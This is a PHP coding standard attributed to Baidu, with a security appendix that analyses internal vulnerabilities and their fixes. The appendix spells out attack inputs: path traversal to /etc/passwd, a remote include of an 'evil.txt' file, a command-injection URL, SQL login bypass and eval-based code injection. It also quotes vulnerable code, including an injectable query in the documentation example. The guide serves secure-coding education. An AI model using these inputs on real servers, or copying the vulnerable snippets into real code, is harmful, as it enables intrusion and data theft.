百度PHP编码规范

目录

0 前言

编码风格没有太多的好坏之分，最重要的是风格保持一致，编码规范有助于规范我们编码的风格，使代码具有更好的可读性。

PHP 在百度内部应用得越来越广泛，但是却缺乏相应的编码规范支持，编码风格百家齐放，不利于我们代码的维护和传承， 根据大家平时的开发情况，制定了此 PHP 编码规范。

每项规范前面的(强制) 代表该规范需要强制执行, (建议)代表推荐执行但不强制。

注: 文中所有的变量名前面为了方便没有加"$", 示意即可。

PHP 编码规范制定人:
王继平、刘斌、宋琦、庞博、李强、洪定坤、张东进

PHP 安全编码规范制定人:
SYS 部门 SSL 组

1 排版

1-1：(强制)程序块要采用缩进风格编写，缩进的空格数为 4 个。

说明：不同的缩进风格对代码的可读性影响很大，以 tab 为缩进单位在不同的 tab step 下可读性也相差很多，所以将缩进定为一个 soft tab 即 4 个空格，这样在所有环境下缩进都会保持一致。

1-2：(建议)关键字与其后的左括号之间有一个空格，而函数名与左括号之间不应有任何字符包括空格。

说明:虽然很多情况下编辑器的highlight已经做了区分，但是从格式上区分关键字和函数适用于所有的情况。

如:

```
关键字  if (a > b)

函数名  funcA()
```

1-3：(建议)开始的大括号位于一行的末尾，结束的括号位于最末一行后，且独占一行。

如:

```
if (a > b) {

}
```

“{”独占一行的风格也可以， 但是建议两种风格只取其一。

1-4：（强制）if/while等结构体，即使只有一行，也必须加上左右花括号，不允许写成一行。

说明：这样做可读性更好，并且方便修改。

如：

```
if (a > b) {
    a = 1;
}
```

1-5：（建议）适当控制每行代码的长度（一般不超过 80 个字符）

说明：代码更美观， 可读性更好

1-6：（强制）elseif语句使用elseif形式，不使用else if形式。

说明：elseif 为标准语法

1-7：（建议）函数名与其后的左括号之间不应有任何字符（包括空格），

函数调用的左括号与其第一个参数之间不应有任何字符（包括空格）

最后一个参数与右括号之间不应有任何字符（包括空格）

参数列表的逗号后面应有一个空格

如：

```
funcA(a, b, c) {

}
```

1-8：（建议）避免由于对错误的条件做判断带来if的嵌套。

说明：减少if/else嵌套， 更利于代码逻辑的理解。

不推荐的方式：

```
if (a === false) {
    // error handle
} else {
    if (b === false) {
        // handle
    }
}
```

推荐的方式：

```
if (a === false) {
    // error handle
}

if (b === false) {
   // handle
}
```

1-9：（强制）如果过长的话需要另起一行。if 语句的条件若较多较长，应折行；新行以逻辑运算符起始，与第一行 if 左括号后的第一个字符对齐；折行后，每行条件具有独立而明确的语义。

说明：这样做逻辑更一目了然。

```
if (a > b && c > d
    && e > f && h > j
    && z > x) {

}
```

1-10：（建议）多行的"="可能的话尽量用空格对齐。

```
a   = 1;
ab  = 2;
abc = 3;
```

1-11：（强制）Switch语句中每个case的break必须和case间有 4 个空格的缩进。

```
case  ‘A’ :
    a  = 2;
    break;
```

1-12：（强制）初始化array如果采用多行结构时，数据项部分需要缩进，且最后一个数据项后面的逗号不可省略。

说明：这样做在修改代码增加数据项的时候不容易出现语法错误。

```
$a = array(
    ’a’ => ’b’,
    ’b’ => ’c’,
    ’c’ => ’d’,
);
```

2 命名

2-1：(强制)全局变量以g_开头。

说明：全局变量对代码影响很大，以g_开头变能在代码中一眼看出是全局变量。

如：

```
g_count;
```

2-2：(强制)常量命名使用全部大写字符，单词之间以'_'连接。

如：

```
PAGE_NUM
```

2-3：(强制)对于代码中的常量，必须用常量或define表示，不允许直接写在代码中。

如：

```
define('PAGE_NUM', 3);
```

2-4：(强制)关键字true、false、null必须小写

2-5：(强制)私有函数命名需加上 '_'前缀。

```
private function _myPrivateFunc() {
}
```

2-6： **(强制)类method命名采用驼峰命名，普通function采用过程函数风格命名。**

如：

```
类 method:
public function getName() {
}


普通 function:

function show_me_the_money() {

}
```

2-7：(强制)文件(除了类)命名使用小写字母，单词之间以'_'连接。

如：

```
show_lemma.php
```

2-8：(强制)配置文件的名称为配置文件名 + .conf.php，不涉及类的都小写通过"_"连接。

如：

```
good_version.conf.php
```

2-9 ：(建议)类名应以大写字母开头，每个单词的首字母大写。

如：

```
ActionController
```

3 注释

3-1：(强制)文件、函数、类以及成员变量都必须包含注释。

类文件/普通文件的注释，说明该文件的主要作用。

例:

"A simple class describing employees" 说明类文件的主要作用。

"@package Employee" 说明 namespace(如果有)

"@author George Schlossnagle" 说明作者信息

```
/**
 * A simple class describing employees
 *
 * @package Employee
 * @author George Schlossnagle
 */
```

类注释， 说明类的主要工作。

例：

"An example of documenting a class" 说明类的主要作用。

"The employees annual salary" 说明变量的作用。

"@var number" 说明变量的类型。

"The class constructor" 说明方法的作用。

"@param" 说明参数类型。

"@access" 说明访问权限。

"@return" 说明返回值。

```
/**
 * An example of documenting a class
 */
class Employee
{
   /**
    * @var string
    */
   var $name;
   /**
    * The employees annual salary
    * @var number
    */
   var $salary;
   /**
    * @var number
    */
   var $employee_id;
```

```
    /**
     * The class constructor
     * @param number
     */
    function Employee($employee_id = false) {
        if ($employee_id) {
            $this->employee_id = $employee_id;
            $this->_fetchInfo();
        }
    }

    /**
     * Fetches info for employee
     *
     * @access private
     */
    function _fetchInfo() {
        $query = "SELECT name,
                         salary
                  FROM employees
                  WHERE employee_id = $this->employee_id";
        $result = mysql_query($query);
        list($this->name, $this->department_id) = mysql_fetch_row($result);
    }

    /**
     * Returns the monthly salary for the employee
     * @returns number Monthly salary in dollars
     */
    function monthlySalary() {
        return $this->salary/12;
    }
}
```

3-2：(强制)不能使用#作为单行注释，多行注释/* *　　**/不能出现在同一行。

3-3：（强制）函数必须通过 `param` 和 `return` 标记指明其参数和返回值。

3-4:　(建议)必要的地方使用非文档性注释，提高代码易读性。

注释规范遵守 phpDocumentor 注释规范，更多请参见：　**http://manual.phpdoc.org/**

4 编码原则

[1]整形参数，需要用intval函数处理，注意intval返回有符号的数值，若数值过大，可以考虑使用floatval。

如:

```
intSalary = intval(salary);
```

4-2：（强制）对于函数返回值的判断，特别是true/false，用===/!== 而不是==/!=。

4-3：（强制）生成一个对象时，必须使用new Classname()的方式，不能用new Classname的方式。

4-4：(强制)所有的文件路径都需要利用框架提供的宏写成绝对路径。

4-5：(强制)对于长时间运行的脚本并且含有占用内存较大的变量，使用完后必须unset掉，避免内存占用过多。

4-6：(强制)对于一些系统操作，使用php内置的函数例如rename、touch等即可。尽量避免使用exec调用shell命令。

4-7：（强制）除非特殊情况，否则不允许使用require和include,而使用对应的require_once/include_once。

4-8：(强制)配置项与PHP代码分离，不随cvs发布

说明：配置放CVS中不能保证最新且上线PHP代码的时候配置存在被覆盖的风险。

4-9：(强制)预定义变量一律使用短格式，即：$_POST、$_GET、$_SERVER、$_ENV、$GLOBALS、$_COOKIE、$_SESSION、$_REQUEST、$_FILES等，不再使用长格式：$_HTTP_POST_VARS、$_HTTP_GET_VARS。

4-10：(强制)每个类单独为一个文件，文件名为 原类名 + .class.php。

文件中的类名由文件夹结构 + "_" + 原类名的形式组成。

说明：利于管理，逻辑清楚，方便autoload等。

例如：文件名：baidu/acl/Filter.class.php

原类名：Filter

文件中的class的名称：class Baidu_Acl_Filter

文件夹结构相当于package的名称，这样不会存在多产品命名冲突。

4-11：(建议)尽量不要在php代码中出现html标签，将模板和代码分离。

4-12 (建议)能用foreach的就不要用for,能用for的就不要用while。

说明：foreach比for容易理解，for比while容易理解。

4-13：(强制)前端访问必须有日志记录，记录条数应与访问一一对应。

4-14：(建议)数据库写操作必须有日志记录；记录条数应与操作一一对应。

4-15：(强制)对于文件更新操作，必须先写到一个临时文件中，然后用rename/mv操作。切忌直接在原文件上做更新。

4-16：(建议)字符串尽量用' '而不是" "进行引用，一个是效率问题，一个是安全问题。

4-17：(强制)所有的define语句，常量必须用''包括起来。

```
define('PAGE_NUM', 3);
```

4-18：(强制)require后面需要带上括号。

```
require_once(“a.php”);
```

4-19：（强制）函数允许使用默认参数，但是默认参数需要放到参数列表最后面。

4-20：（强制）所有的全局变量应该写在函数的最开头，并且和后面的代码以空行隔开。

```
function a() {
    global g_count;
    global g_time;

    a = 1;
}
```

4-21：（强制）在头文件中定义全局变量必须用$GLOBALS的形式，这样可以避免在函数中include导致的作用域问题。

```
<?php
function func() {
    require_once('a.conf.php');
    // do something
}
func();
require_once('a.conf.php');
echo "bad: $g_bad\ngood: $g_good\n";

?>

a.conf.php
<?php
// bad
$g_bad = 'bad';
// good
$GLOBALS['g_good'] = 'good';

?>
```

5. 安全编码

5-1：(强制)所有的用户输入都是有害的,对所有从客户端传入的数据都不信任, 需要做判断和过滤,否则可能会受到 SQL Injection、XSS 等攻击。

例如：$_GET, $_POST, $_COOKIE, $_FILES, $REQUEST 等。

直接使用将可能存在被注入的危险。

5-2： (强制)用户的相关输入涉及数据库操作、文件操作等敏感操作时需要对输入做专门的转换。

例如： 数据库操作中数字型的需要做 intval 转换，字符串类型的需要通过 mysql_real_escape_string 过滤。

文件操作中类似 include_once("$userInput")等操作。

5-3： (强制)用户上传的文件的文件名必须重新命名，并限制其后缀。

5-4： (强制)将 php 配置中的 register_globals 设置为 Off。

register_globals 允许 php 将$_GET，$_POST，$_COOKIE 等变量里的内容自动注册为全局变量，如果程序里的某些变量没有经过初始化而直接使用将导致安全问题。

5-5： (强制)将php配置中的expose_php设置为Off。

避免PHP版本信息暴露。

5-6: (强制)php配置中error_reporting应该设置为输出 E_NOTICE级别的日志。

E_NOTICE级别的日志虽然算不上错误日志，但是却告诉了我们哪些地方存在安全隐患，例如：变量未初始化等等， 打开E_NOTICE有助于我们减少bug, 提前发现安全漏洞。

更多安全编码规范， 请参见附录 ： PHP 安全编码规范

附录 PHP安全编码规范

一、安全代码规范

1. 所有的输入都是有害的，如下列环境变量：$_SERVER, $_GET, $_POST, $_COOKIE, $_FILES, $_ENV, $REQUEST。
2. 数据库操作必须使用安全数据库操作类.
3. 不使用安全数据库操作类的，使用 Intval 对整数型参数过滤，使用 mysql_real_escape_string 对字符串型进行过滤，并要配合 mysql_set_charset 设置当前字符集进行使用。PHP 版本小于 5.0.5 的，须使用 **SET character_set_connection=字符集, character_set_results=字符集, character_set_client=binary;** 这三句语句替代 mysql_set_charset 进行数据库字符集设置。
4. 输入参数作为文件名的一部分时，要用白名单方式过滤，限定合法字符范围为英文字符、数字、汉字、下划线及减号。
5. 输入参数作为 system，exec，passthru 等任何命令执行函数的参数时，要使用 escapeshellarg 函数进行过滤。(escapeshellcmd 在某些条件下会存在漏洞，因此**强烈推荐**使用 escapeshellarg)
6. 输入参数作为 php 文件内容时，要使用 var_export 进行数据导出。
7. 字符串尽量用’’而不是″″进行引用，一个是效率问题，一个是安全问题。
8. 用户上传文件的文件名必须重新构造，以明确的后缀结束。

二、安全配置规范

建议的 PHP 安全配置（php.ini 文件）如下：

1. register_globals = Off
2. display_errors = Off
3. log_errors = On
4. error_log = 自定义错误日志路径

三、分析

此文档主要讨论 PHP 编码中需要注意的安全事项，主要就 php 编码中容易出现的安全漏洞进行分析并给出解决办法，提醒开发者注意规避不规范的编码带来的安全漏洞。

1．准则

从本质上说，需要关注的主要就是输入参数的安全性和函数安全性。我们总结出几条准则：

1.1 对所有从客户端传入的数据不信任

- 显示的输入包括：$_SERVER, $_GET, $_POST, $_COOKIE, $_FILES, $_ENV, $REQUEST 等；即通信协议中从客户端传过来的一切变量，无论是客户手动填写的数据或是客户端浏览器或操作系统自动填写的数据。
- 隐式的输入包括：从数据库、文件、网络等，即一些不直接来源于用户，但是又不是程序中定义好的常量数据。比如用户的输入经过层层转化输出到数据库或文件，后面又再次利用的时候，这时变量依然是不可信任的，但往往容易让程序员放松警惕。

1.2 最小化原则

最小化原则适用于所有跟安全相关的领域，在代码安全方面主要表现为：

- 用户输入最小化：尽可能少地使用用户的输入。
- 用户输入范围的最小化：过滤参数的时候尽量使用白名单策略，对于可以明确定义范围的参数要检查参数的有效性，譬如 Email，QQ 都属于可以明确定义范围的参数。

1.3 安全的编码不依赖任何安全配置

即在编写程序的时候不能有侥幸心理，不能寄希望于配置文件的安全选项；必须将自身的程序置身最不安全的配置下进行考虑。

1.4 程序错误信息对外界透明

对程序的错误和异常进行专门的日志记录，避免直接输出给用户。特别对于与文件或数据库相关的操作，错误信息会对攻击者带来非常大的帮助。

2. 细则

输入数据的用途及上下文的不同，决定了一个安全漏洞的级别和防御办法的不同。下面就 PHP 安全漏洞的种类进行分别讨论，主要围绕输入数据的使用场景进行。

下文主要以问题提出和分析，然后是相应的安全规范的形式进行展开。

2.1 输入数据作为数据库操作的一部分

SQL 注入问题的本质是程序获取用户提交的参数在未被充分过滤的情况下就用来构建 SQL 语句并执行。

2.1.1 环境变量问题

贴吧投诉系统中的 SQL 注射（complain-front\lib\Cthread.class.php）

```
$arrInsPost['client_info'] = CTools::getClientInfo();
 ......
$arrSql[] = sprintf("INSERT INTO %s(`%s`) values('%s')",
                    self::POST_TABLE_NAME,
                    join(array_keys($arrInsPost),'`,`'),
                    join($arrInsPost,"','"));

而 CTools::getClientInfo()函数的定义为：
static function getClientInfo(){
    return $_SERVER["HTTP_USER_AGENT"];
}
```

这里 getClientInfo 的输入来自于安全处理并不充分的$_SERVER 变量，导致注射。用

户完全可以在 POST 过来的数据中提交一个而已的 HTTP_USER_AGENT 值。如将 HTTP 头中的 USER AGENT 修改为：FireFox 2.0’。

安全编码建议：对$_SERVER[“HTTP_USER_AGENT”]进行检查和过滤。

2.1.2 整数型注入

space 中注射漏洞（Space\phpsrc\gsp\page\get.php）

```
function process () {
    $intID = $_GET['id'];
    $objInterface = new gspInterface ();
    $arrGameInfo = $objInterface->getGameInfoById ($intID);
    if ($arrGameInfo['errno'] != gspInterfaceConfig :: SUCCESS
        || $arrGameInfo['num'] === 0) {
                return false;
    }
    ......
    $intID 直接来源于$_GET 的输入，作为参数进入了 getGameInfoById
方法。

    getGameInfoById 相关代码如下：
    public function getGameInfoById($intID) {
        $arrField=array (
                    'game_id',
                    'key1',
                    'key2',
                    'max_num',
                    'key_start',
                    'key_len');
        $strSearchCond = "WHERE `game_id` = ".$intID;
```

```
        $arrRes = $this->objDB->selectAsArray (
                        $arrField,
gspInterfaceConfig::GAME_LIST_TABLE,$strSearchCond);

        if ($arrRes === false) {
            $this->processDBError ();
            return array('errno'  => $this->objDB->getErrno (),
                         'error'  => $this->objDB->getErrMsg ()
                        );
        }
```

最终参数$intID 作为 SQL 语句的一部分而没有任何保护进入查询，导致一个典型的 SQL 注射。

安全编码建议：对$intID 用 intval 函数进行过滤。

```
$strSearchCond = “WHERE `game_id` = “.intval($intID);
```

2.1.3 字符串型注入

space 中另外一个类型注射漏洞：

```
    function checkLogin() {
        session_start();
        if (isset($_POST['loginSubmit'])) {
            $strName = $_POST['loginusername'];
            $strPasswd = md5($_POST['loginpassword']);
        } elseif (isset($_SESSION['loginusername'])
                  && isset($_SESSION['loginpassword'])) {
            $strName = trim($_SESSION['loginusername']);
```

```
            $strPasswd = $_SESSION['loginpassword'];
        }
        if ($strName == "" || $strPasswd == "") {
            return false;
        }
        $objDB = new DBWrapper (DATABASE,2);
        $strCond = "WHERE user_name = '".$strName."' AND passwd =
'".$strPasswd."' AND status > 0";
```

安全编码建议：

由于我们的 Mysql 主要使用的是 GBK 编码，而在一些程序里会使用 set names gbk 这种方式设置操作的编码。在 GBK 编码里由于 Mysql 的转义字符\属于正常 GBK 编码里的第二个字节，所以可能导致一些单纯的 addslashes 操作被绕过，我们建议在处理用户的输入的时候必须使用 mysql_real_escape_string，该函数第一个参数为要处理的字符串，第二个为当前 Mysql 操作连接资源。

例子过滤函数：

```
    public static function escape($str, $type = 'slave') {
        return  mysql_real_escape_string($str,
self::getConnection($type)->getConn());
    }
```

有问题的语句：

```
    $strCond = "WHERE user_name = '".$strName."' AND passwd =
'".$strPasswd."' AND status > 0";
```

安全的方式：

```
    $strCond = sprintf("WHERE user_name = '%s' AND passwd = '%s' AND
status > 0",escape($strName),escape($strPasswd));
```

2.1.4 正确使用字符集

在字符型注入一节中提到了一个问题：由于我们的 Mysql 主要使用的是 GBK 编码，而在一些程序里会使用 set names gbk 这种方式设置操作的编码。在 GBK 编码里由于 Mysql 的转义字符\属于正常 GBK 编码里的第二个字节，所以可能导致一些单纯的 addslashes 或 mysql_escape_string 操作被绕过。因为 addslashes、mysql_escape_string 没有考虑到宽字符，一旦使用就会造成误过滤。能够被巧妙运用并造成 SQL 注射攻击。例如，“0xbf5c”（縗）这个字，是一个标准的 gbk 字符，但是如果使用 addslashes 进行一个字节一个字节过滤，将会使“0xbf5c”（縗）被过滤成了“0xbf5c5c”（縗\）。一个标准字符加一个转义字符，这将会对其后的语句造成影响。

安全编码建议：

在使用 gbk 为字符集时，正确的字符设置方式只有两种

1、binary 方式：

```
SET character_set_connection=gbk, character_set_results=gbk,
character_set_client=binary;
```

将客户端连接字符集设置为 binary，则无论用户输入中是否有敏感字符，mysql 在解析时，都只会将其当做二进制数据，而不会当做转义字符或特殊字符处理，因此不会破坏 sql 语句。其中的另外两句语句与 set names gbk 的效果一致，因此使用此方法后无需再使用 set names gbk 进行设定。

2、set_charset 方式：**在 PHP 版本大于 5.0.5 时，推荐使用 mysqli_set_charset 函数设置 php 客户端的 mysql 字符集为 gbk，以替代上文所述的 binary。并在此之后使用 mysqli_real_escape_string 进行过滤。**这才是官方推荐的字符集设置使用方式。

```
mysqli_set_charset($link, 'gbk');
```

注意:set_charset 和 mysqli_real_escape_string 必须同时使用，否则 mysqli_real_escape_string 将会失去原有作用。set_charset 包括了 set names 的功能，因此无需再使用 set names gbk 进行设定。

2.2 输入参数与文件操作相关

在 web 程序里经常需要根据用户直接或者间接的输入来读写和执行不同的文件，或者将用户的输入来写到某些文件里。这些文件操作的时候本质是程序在和操作系统交互，如果处理不严格，用户就可以通过提交一些恶意参数读写和执行不被期望的文件，或者将恶意的代码写入到文件里。这种类型的漏洞一旦被人利用往往是被黑客取得 apache 等 webserver 的权限，直接控制整个业务逻辑，黑客可以进一步渗透获取操作系统权限乃至网络的权限，危害巨大。

程序在文件操作时的参数包括操作的文件名和操作的文件内容，这两个参数都可能带来安全问题。

2.2.1 文件名安全问题

百科中一个代码片段：

```
......
$strCmd = ($_GET['cmd'])? $_GET['cmd']:$_POST['cmd'];
if (strlen($strCmd) > 0) {
    if (!include_once("cmd/$strCmd.php")) {
        CHtmlUtil::redirect(BAIDU_ERROR_PAGE);
    }
    exit();
}
......
```

include_once,include,require_once,require 这些语句在 php 里本质是打开一个文件资源，然后将里面的内容作为 php 代码来运行，而这里代码的参数一部分来源于用户提交，并且参数没有进行任何安全处理，这样恶意用户就可以如下方式来将服务器上任意文件来作为 php 代码来运行，不能运行的将直接显示。

譬如提交.php?cmd=../../../../../../../../etc/passwd%00,最终打开的文件将是 cmd/../../../../../../../../etc/passwd%00.php。操作系统底层是由 c 语言实现的，打开文件都是一些系统的 api，在 c 语言里%00 也就是\0 代表一个字符串的结束，这样程序经过../遍历文件之后最终打开的文件是/etc/passwd，导致敏感文件泄漏。当然程序也可以打开/home/work/目录下的.bash_history，或者利用日志文件来执行 php 代码。

另外在打开文件或者判断文件是否存在的时候一个问题就是由于 php 支持远程文件，所以类似于 include_once('http://www.80sec.com/evil.txt?hi=x.php')的操作将会成功，如果我们缺乏对文件名的判断，在代码里出现 if(!include_once("$strCmd.php"))将会导致严重的安全漏洞。

安全编码建议：已明确用户参数范围的时候，需要以白名单策略做判断。

```
......
$strCmd = ($_GET['cmd'])? $_GET['cmd']:$_POST['cmd'];
if (strlen($strCmd) > 0) {
    if(!include_once("cmd/$strCmd.php")) {
        CHtmlUtil::redirect(BAIDU_ERROR_PAGE);
    }
    exit();
}
......
$strCmd 的操作是已知的，所以我们可以通过如下方式来安全处理
......
```

```
$strCmd = ($_GET['cmd'])? $_GET['cmd']:$_POST['cmd'];

//在已知范围内的参数以白名单过滤
if (!in_array($strCmd,array('a','b,'c'))) {
    $strCmd='a';
}

if(strlen($strCmd) > 0) {
    if(!include_once("cmd/$strCmd.php")) {
        CHtmlUtil::redirect(BAIDU_ERROR_PAGE);
    }
    exit();
}
......
```

以白名单方式处理后的代码是最安全，也最符合逻辑的处理的方式。如果不能用允许的文件名白名单列表，应该定义白名单字符范围，满足字母、数字、中文、下划线和减号；如果输入参数在这个范围外，应该不信任该输入值，将其赋值为一个默认值。

2.2.2 文件上传的问题

文件上传时，我们需要将用户上传的文件传到我们的服务器上，如果我们的服务器支持某种脚本解析的话，用户就可能上传可以威胁服务器安全的文件。我们在文件上传时保存的文件名包括两个重要的信息，一个是文件名，一个是文件后缀。文件后缀表示了该文件将被服务器如何处理（jpg 的直接显示，php 的将在服务器端解析然后显示），这两个信息都应该是用户不可控的，所以我们在确定用户上传的文件为我们需要的文件类型（譬如验证的确为图片文件后），在保存文件时应该严格限制后缀为 jpg，gif 等在名单之内的后缀，文件名可以按照日期+随机数字来生成一个文件名，以此来保证文件上传安全，最少的输入就是最大的安全。

2.2.3 文件读写内容的安全

我们在读写文件的时候，文件内容如果有特定的意义，譬如如果为 php 代码就应该严格限制用户提交的内容不能让用户执行 php 代码，如果作为某种特殊的数据库就应该过滤掉其中的元字符，譬如作为日志时，用户就可能输入作为分隔符的\r\n 来破坏文件结构。

百科中的一个代码片段：

```
......
$file_info.=
"array(\"listlemmatitle\"=>\"".addslashes(un_htmlspecial
chars2($row[0])."\",
.....
writetofile($export_file,$file_info);
......
```

$row[0]是从数据库取出来的词条标题，最终会作为 php 代码的一部分写入文件，在写入文件的时候$row[0]经过 html 处理和 addslashes 之后是放到了""之间。在 php 代码里""之间的变量是可以解析的，于是黑客可以提交${${eval($_GET[c])}}作为标题，最终写入到了文件中。黑客就可以执行任意的 php 代码，直接控制整个 web 业务。

安全编码建议：将输出到文件的数据放到单引号中而非双引号。在 php 中表示一个字符串的方法有三种，单引号，双引号，定界符，和其他两种语法不同，单引号字符串中出现的变量和转义序列不会被变量的值替代。从效率方面和安全方面，我们都极力推荐能使用单引号的地方禁止使用双引号。

效率方面：PHP 解析器在解析字符串的时候，如果是被双引号引起来的，PHP 会首先遍历该字符串，尝试解析里面的变量和转义序列，而对于单引号引起来的字符串，PHP 就不会做这些分析工作，所以效率上会比较快。

安全方面：假设存在如下 UBB 转换代码：

```
$content="[url]http://www.80sec.com[/url]";   //用户输入的
preg_replace("/[url](.?+)[/url]/ie",'filter_url("\\1")',$content);
```

代码尝试匹配[url][/url]中间的部分，并且交给 filter_url 来进行处理，但是在 filter_url 的函数引用参数的使用的是""而不是''，这样就就可能被黑客用来执行任意 php 代码：

```
//用户输入的
$content="[url]http://www.80sec.com/?${${phpinfo()}}[/url]";
preg_replace("/[url](.?+)[/url]/ie",'filter_url("\\1")',$con
tent);
```

然后代码 phpinfo()将被执行。

在所有有用户参数参与的文件操作时，包括的函数有：

```
include
include_once
require
require_once
file_get_contents
file_put_contents
fopen
fwrire
move_upload_file
unlink
......
```

其他可能涉及文件操作的函数见 http://cn2.php.net/manual/en/ref.filesystem.php

推荐以下安全处理方式。

2.3 输入参数与命令执行相关

在某些 web 应用程序里，某些功能是需要调用 php 函数来执行系统命令完成的，如果有用户的参数传递到系统去执行，我们就应该注意用户参数的过滤，一旦出现问题便可能直接导致用户以 web 进程身份在系统上执行任意命令，危及整个系统和业务的安全。

一个在 space 中存在的安全漏洞例子

```
......
public static function callMyFunc($request) {
    $myFunc = empty($request['func']) ?
                '' : $request['func'];
    if ('clear_cache' == $myFunc) {
        self::clearCache($request['uri']);
    }
    if ('sync_css' == $myFunc) {
        $uri    = $request['uri'];
        $from   = $request['from'];
        $to     = $request['to'];
        $tmp    = '/tmp/act_css_tmp_' . $uri;
        system("/usr/bin/wget $from -O $tmp");
        ......
```

$request 变量来自于用户 URL 的输入，最终进入到 system 函数里作为命令来执行，但是 space 没有安全处理用户的输入,任意用户都可以通过如下 URL 来在 space 主机上执行自己的命令：

php?cmd=1190&func=sync_css&uri=hi&from=;cat /etc/passwd;&to=hi&1=2

最后导致系统的沦陷。

安全编码建议：我们应该尽量避免使用 system，exec，popen，passthru, backtick operator(``).....等直接执行系统命令的函数，如果必须使用这些函数的时候，我们就需要在用户的参数进入 system 函数之前经过过滤。Php 提供两个作为命令安全输入的函数，一个是 escapeshellarg 一个是 escapeshellcmd。

Escapeshellarg 将输入放置到'' 之中，并且处理掉用户输入的'' 和\\来保证输入只能作为命令的参数来解决问题。

Escapeshellcmd 过滤掉所有 shell 里可能出现的元字符，从而保证命令只能执行指定的命令。

譬如以上漏洞可以通过如下两种方式解决：

```
$uri  = $request['uri'];
$from = $request['from'];
$to   = $request['to'];
$tmp  = '/tmp/act_css_tmp_' . $uri;
$from = escapeshellarg($from);
$tmp  = escapeshellarg($tmp);
system("/usr/bin/wget $from -O $tmp");

或者：
$uri  = $request['uri'];
$from = $request['from'];
$to   = $request['to'];
$tmp  = '/tmp/act_css_tmp_' . $uri;
```

```
system(escapeshellcmd("/usr/bin/wget $from -O $tmp"));
```

注意：经测试，使用 escapeshellcmd 的时候，还是有可能会产生安全风险，因此**强烈建议**使用 **escapeshellarg** 的方式对每一个命令中所使用到的参数进行过滤后拼接。

3.安全配置

web 应用程序是运行在 php 环境中的，php 中的某些环境配置可能对应用程序的健壮性产生影响，为了保证 web 应用程序的安全性，我们需要考虑如下 PHP 的安全选项：

3.1 register_globals

register_globals 允许 php 将$_GET，$_POST，$_COOKIE 等变量里的内容自动注册为全局变量，如果程序里的某些变量没有经过初始化而直接使用将导致安全问题。

```
<?php
    if ($pass == "hello") {
       $auth = 1;
    }
    if ($auth == 1) {
        echo "some important information";
    } else {
        echo "nothing";
    }
                                                    ?>
```

由于$auth 变量未初始化，我们可以通过提交 auth 变量而访问敏感信息

foo.php?auth=1

我们在强烈建议该选项为 Off

3.2 magic_quotes_gpc

magic_quotes_gpc 对于 GPC 传入的变量将会做 addslashes 处理，这样就可以默认

保护一些 SQL 注射漏洞，文件包含漏洞等等。在为 on 的情况下会对所有由用户传进来的变量包括 GET，POST，COOKIE 做转义处理，类似于有一个自动的 addslahes 处理，这样就可以防止一些 sql 注射攻击以及一些其他的一些攻击。下面有 2 个例子代码：

select * from members where user='$_GET[user]' and pass='$_GET[pass]'

很明显，在 GPC=off 的情况下，可以提交一个 vul.php?user=' or '1'='1&pass=123 从而直接使查询语句变成：

```
select * from members where user='' or '1'='1' and pass='123'
```

查询后返回结果肯定为真，但是在 GPC=on 的情况下，因为会进行 addslahes 的处理工作，所以做上面的提交之后查询语句将变成：

```
select * from members where user='\' or \'1\'=\'' and pass='123456'
```

我们提交的 user 成为 sql 语句里的普通字符了，成功防止了 Sql 注射。当然，我们的程序最好还是自己做好过滤。GPC 为 on 还有一个好处就是它也将转义掉 NULL 字符，这在进行安全文件操作的时候可能有着非常重要的意义：

```
<?php
include './lang/'.$_GET[lang].'.php';
?>
```

如果在 gpc 为 off 的情况下，我们完全可以提交 vul.php?lang=../../../../../../etc/passwd%00 来得到/etc/passwd 里面的内容，后面的%00 将截断 php 代码里限制的文件后缀，我们甚至还可以包含一个包含 php 代码的文件来实现执行任意 php 代码。

我们在强烈建议该选项为 On。

3.3 log_errors

如果脚本运行时出错，错误信息将提供非常多的信息给黑客，里面可能包含了 web 路径，一些调试信息甚至是部分的 php 代码。我们应该在线上业务关闭错误信息对外的显示该选项。

建议的配置如下：

display_errors = Off

log_errors = On

error_log = /usr/local/apache2/logs/php_error.log（我们自定义的错误路径）